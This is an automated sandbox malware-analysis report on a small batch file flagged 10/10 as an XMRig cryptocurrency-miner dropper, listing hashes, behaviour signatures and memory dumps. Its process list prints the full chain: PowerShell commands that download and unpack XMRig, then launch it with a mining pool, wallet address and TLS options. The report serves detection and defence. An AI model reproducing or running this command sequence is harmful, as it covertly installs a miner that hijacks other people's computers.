Analysis

  • max time kernel
    1790s
  • max time network
    1782s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    31/12/2023, 06:24

General

  • Target

    tesy - Copy (8).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4328
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:492
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4932
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4728

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/4328-5-0x00007FF866D40000-0x00007FF86772C000-memory.dmp

    Filesize

    9.9MB

  • memory/4328-7-0x00000217A62D0000-0x00000217A62E0000-memory.dmp

    Filesize

    64KB

  • memory/4328-6-0x00000217A62D0000-0x00000217A62E0000-memory.dmp

    Filesize

    64KB

  • memory/4328-10-0x00000217A6540000-0x00000217A65B6000-memory.dmp

    Filesize

    472KB

  • memory/4328-4-0x00000217A6410000-0x00000217A6432000-memory.dmp

    Filesize

    136KB

  • memory/4328-25-0x00000217A62D0000-0x00000217A62E0000-memory.dmp

    Filesize

    64KB

  • memory/4328-26-0x00007FF866D40000-0x00007FF86772C000-memory.dmp

    Filesize

    9.9MB

  • memory/4328-27-0x00000217A62D0000-0x00000217A62E0000-memory.dmp

    Filesize

    64KB

  • memory/4328-28-0x00000217A62D0000-0x00000217A62E0000-memory.dmp

    Filesize

    64KB

  • memory/4328-29-0x00000217A62D0000-0x00000217A62E0000-memory.dmp

    Filesize

    64KB

  • memory/4328-34-0x00007FF866D40000-0x00007FF86772C000-memory.dmp

    Filesize

    9.9MB

  • memory/4728-148-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-154-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-122-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-123-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-188-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-187-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-186-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-125-0x0000017E09430000-0x0000017E09450000-memory.dmp

    Filesize

    128KB

  • memory/4728-124-0x0000017E09410000-0x0000017E09430000-memory.dmp

    Filesize

    128KB

  • memory/4728-126-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-127-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-129-0x0000017E09430000-0x0000017E09450000-memory.dmp

    Filesize

    128KB

  • memory/4728-128-0x0000017E09410000-0x0000017E09430000-memory.dmp

    Filesize

    128KB

  • memory/4728-130-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-131-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-132-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-133-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-134-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-143-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-142-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-141-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-140-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-139-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-138-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-137-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-136-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-135-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-144-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-145-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-146-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-147-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-120-0x0000017E07BF0000-0x0000017E07C10000-memory.dmp

    Filesize

    128KB

  • memory/4728-149-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-150-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-151-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-152-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-153-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-121-0x0000017E07C40000-0x0000017E07C60000-memory.dmp

    Filesize

    128KB

  • memory/4728-155-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-156-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-157-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-158-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-159-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-160-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-161-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-162-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-163-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-164-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-165-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-166-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-167-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-168-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-169-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-170-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-171-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-172-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-173-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-174-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-175-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-176-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-177-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-178-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-179-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-180-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-181-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-182-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-183-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-184-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4728-185-0x00007FF611D80000-0x00007FF612883000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-40-0x00007FF866D40000-0x00007FF86772C000-memory.dmp

    Filesize

    9.9MB

  • memory/4932-42-0x000002CA6FC10000-0x000002CA6FC20000-memory.dmp

    Filesize

    64KB

  • memory/4932-41-0x000002CA6FC10000-0x000002CA6FC20000-memory.dmp

    Filesize

    64KB

  • memory/4932-66-0x000002CA6FC10000-0x000002CA6FC20000-memory.dmp

    Filesize

    64KB

  • memory/4932-93-0x000002CA6FDC0000-0x000002CA6FDCA000-memory.dmp

    Filesize

    40KB

  • memory/4932-80-0x000002CA6FDE0000-0x000002CA6FDF2000-memory.dmp

    Filesize

    72KB

  • memory/4932-117-0x00007FF866D40000-0x00007FF86772C000-memory.dmp

    Filesize

    9.9MB